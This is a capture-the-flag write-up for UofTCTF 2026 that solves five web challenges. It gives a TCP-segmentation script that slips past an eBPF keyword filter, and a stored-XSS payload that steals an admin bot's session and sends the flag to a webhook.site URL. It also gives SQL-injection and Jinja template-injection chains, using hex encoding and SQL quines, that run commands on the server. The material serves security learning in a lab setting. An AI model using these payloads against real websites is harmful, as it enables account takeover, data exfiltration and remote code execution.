UofTCTF 2026 Write-up

12 Jan 2026

UofTCTF 2026 Write-up cover image.

Introduction


firewall

There is a web server that serve static file via nginx and loads an eBPF program that is firewall.c' on eth0(ingress + egress). That eBPF filter drops anyIPv4 TCP packet whose TCP header+payload contain substring flag or character %. So a request like

GET /flag.html HTTP/1.1

will get rejected because it contain substring flag in one packet

Vuln

SEC("tc/ingress")
int firewall_in(struct __sk_buff *skb)

This code from firewall.c clarify that the The eBPF program scans per packet, not per TCP stream. It does not reassemble TCP segments. That means we can bypass the keyword filter by ensuring flag never appears contiguously within a single TCP segment.

Script

import socket, time, re

HOST = "127.0.0.1"
PORT = 5000

s = socket.create_connection((HOST, PORT))
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.sendall(b"GET /fl")
req2 = (
    b"ag.html HTTP/1.1\r\n"
    b"Host: x\r\n"
    b"Range: bytes=133-\r\n"
    b"Connection: close\r\n"
    b"\r\n"
)
s.sendall(req2)
data = b""
while True:
    chunk = s.recv(4096)
    if not chunk:
        break
    data += chunk
s.close()
m = re.search(rb"[A-Za-z0-9_]+\{[^}]+\}", data)
print(m.group(0).decode() if m else data.decode(errors="replace"))

personal blog

This chall give us a web server which has features like upload blog and report via bot. Our objective is to get flag from /flag path

app.get('/flag', requireLogin, (req, res) => {
  if (!req.user.isAdmin) {
    return res.status(403).send('Admins only.');
  }
  return res.send(FLAG);
});

but as we can see, /flag path restricted to admins only

Vuln

There is some XSS in edit blog page

<!-- editor.ejs:13 -->
<div id="editor" contenteditable="true"><%- draftContent %></div>

as we can see, blog render is unescaped this make rendered html can execute javascript script also in save edit blog /api/autosave

app.post('/api/autosave', requireLogin, (req, res) => {
  const rawContent = String(req.body.content || '');
  post.draftContent = rawContent; 
});

body is not sanitized, this make we can input XSS script

Payload

<img src=x onerror="(async()=>{let m=document.cookie.match(/sid_prev=([^;]+)/);if(m){document.cookie='sid='+m[1]+';path=/';let r=await fetch('/flag');let f=await r.text();fetch('https://webhook.site/91e5fda5-534e-4c59-82ac-a9151a91ea83'+encodeURIComponent(f))}})()">

readable:

(async () => {
  let m = document.cookie.match(/sid_prev=([^;]+)/);
  if (m) {
    document.cookie = 'sid=' + m[1] + ';path=/';
    let r = await fetch('/flag');
    let f = await r.text();
    fetch('https://webhook.site/91e5fda5-534e-4c59-82ac-a9151a91ea83' + encodeURIComponent(f));
  }
})()

Input this payload to blog, then make report via which leads to this url blog. Why this work?, because bot is login use admin account

async function loginAndVisit(targetUrl) {
  const browser = await getBrowser();
  const context = browser.createBrowserContext
    ? await browser.createBrowserContext()
    : await browser.createIncognitoBrowserContext();
  const page = await context.newPage();
  try {
    page.setDefaultTimeout(10000);

    await page.goto(`${APP_HOST}/login`, { waitUntil: 'networkidle2' });
    await page.type('input[name="username"]', ADMIN_USER, { delay: 40 });
    await page.type('input[name="password"]', ADMIN_PASS, { delay: 40 });
    await Promise.all([
      page.click('button[type="submit"]'),
      page.waitForNavigation({ waitUntil: 'networkidle2' })
    ]);

    await page.goto(targetUrl, { waitUntil: 'networkidle2' });
    await new Promise((resolve) => setTimeout(resolve, 6000));
  } finally {
    await page.close();
    await context.close();
  }
}

this make bot can visti /flag page, then we just need to make bot make a request to webhook which contain flag


no quotes

This chall objective is read the flag from readflag.c file.

Vuln

  • SQLI in /login

    query = (
        "SELECT id, username FROM users "
        f"WHERE username = ('{username}') AND password = ('{password}')"
    )
    cur.execute(query)

    classing string concatenation into SQL, but there is filtering system

    def waf(value: str) -> bool:
        blacklist = ["'", '"']
        return any(char in value for char in blacklist)

    as we can see there is filtering to ' and " this make we can't escape string contenation. luckily in mySQL escaping can also use / character

  • SSTI in /home

    return render_template_string(open("templates/home.html").read() % session["user"])

    then in html

    <p class="subtitle">Welcome, <span class="mono">%s</span></p>

    so if session["user"] contain jinja like {{ }}, it will be executed

Payload

For jinja we need to make payload that can read readflag.c file

{{ url_for.__globals__['os'].popen('/readflag').read() }}

then for SQLI we need to make user column have value of jinja payload because /home will render session["user"]

\

for username and

) UNION SELECT 1, {{ url_for.__globals__['os'].popen('/readflag').read() }}) --

for password,
But, becase there is filtering for ' we have to convert jinja payload to hex then we convert again to jinja

) UNION SELECT 1,CAST(0x7b7b2075726c5f666f722e5f5f676c6f62616c735f5f5b276f73275d2e706f70656e28272f72656164666c616727292e726561642829207d7d AS CHAR) --

no quotes 2

This chall have same vuln with first no quotes but with slight changes in

@app.post("/login")
def login():

    username = request.form.get("username", "")
    password = request.form.get("password", "")

    if waf(username) or waf(password):
        return render_template(
            "login.html",
            error="No quotes allowed!",
            username=username,
        )
    query = (
        "SELECT username, password FROM users "
        f"WHERE username = ('{username}') AND password = ('{password}')"
    )
    try:
        conn = get_db_connection()
        with conn.cursor() as cur:
            cur.execute(query)
            row = cur.fetchone()
    except pymysql.MySQLError:
        return render_template(
            "login.html",
            error=f"Invalid credentials.",
            username=username,
        )
    finally:
        try:
            conn.close()
        except Exception:
            pass

    if not row:
        return render_template(
            "login.html",
            error="Invalid credentials.",
            username=username,
        )
    if not username == row[0] or not password == row[1]:
        return render_template(
            "login.html",
            error="Invalid credentials.",
            username=username,
        )
    session["user"] = row[0]
    return redirect(url_for("home"))

this code

if not username == row[0] or not password == row[1]:

make us can`t use first no quotes payload because we have to manage input same as database data.
So in here we will use SQL Quine to manipulate password in row, so it will be equal to password in input.

Payload

For username we will inject

{{lipsum.__globals__.os.popen(request.args.c).read()}}\

,then for password

") UNION SELECT 0x7b7b6c697073756d2e5f5f676c6f62616c735f5f2e6f732e706f70656e28726571756573742e617267732e63292e7265616428297d7d5c, REPLACE(0x024, 0x24, HEX(0x024))--

no quotes 3

Same as no quotes 1 and 2, this chall contain SSTI and SQLI but with some change

@app.post("/login")
def login():

    username = request.form.get("username", "")
    password = request.form.get("password", "")

    if waf(username) or waf(password):
        return render_template(
            "login.html",
            error="No quotes or periods allowed!",
            username=username,
        )
    query = (
        "SELECT username, password FROM users "
        f"WHERE username = ('{username}') AND password = ('{password}')"
    )
    try:
        conn = get_db_connection()
        with conn.cursor() as cur:
            cur.execute(query)
            row = cur.fetchone()
    except pymysql.MySQLError:
        return render_template(
            "login.html",
            error=f"Invalid credentials.",
            username=username,
        )
    finally:
        try:
            conn.close()
        except Exception:
            pass

    if not row:
        return render_template(
            "login.html",
            error="Invalid credentials.",
            username=username,
        )
    if not username == row[0] or not hashlib.sha256(password.encode()).hexdigest() == row[1]:
        return render_template(
            "login.html",
            error="Invalid credentials.",
            username=username,
        )
    session["user"] = row[0]
    return redirect(url_for("home"))

this code

if not username == row[0] or not hashlib.sha256(password.encode()).hexdigest() == row[1]:

is very similar with no quotes 2 where we have to ensure input same as database data, so we will also use quine
,then there are also changes to the filtering system

def waf(value: str) -> bool:
  blacklist = ["'", '"', "."]
  return any(char in value for char in blacklist)

this make can't use first no quotes payload because there is . character.

Payload

For SSTI

{%set F=lipsum|string%}{%set GL=US~US~g~l~o~b~a~l~s~US~US%}{{lipsum|attr(GL)|attr(GI)(OS)|attr(PO)(CMD)|attr(RE)()}}

Instead of lipsum.__globals__, we use lipsum|attr("__globals__")
,then for password

) UNION SELECT CAST(0x7B7B75726C5F666F725B64696374285F5F676C6F62616C735F5F3D31297C6C6973747C66697273745D5B64696374286F733D31297C6C6973747C66697273745D5B6469637428706F70656E3D31297C6C6973747C66697273745D28726571756573745B6469637428617267733D31297C6C6973747C66697273745D5B6469637428636D643D31297C6C6973747C66697273745D295B6469637428726561643D31297C6C6973747C66697273745D28297D7D5C AS CHAR), SHA2(CAST(REPLACE(CAST(@ AS CHAR), 0x40, CONCAT(0x3078, HEX(@))) AS CHAR), 256) --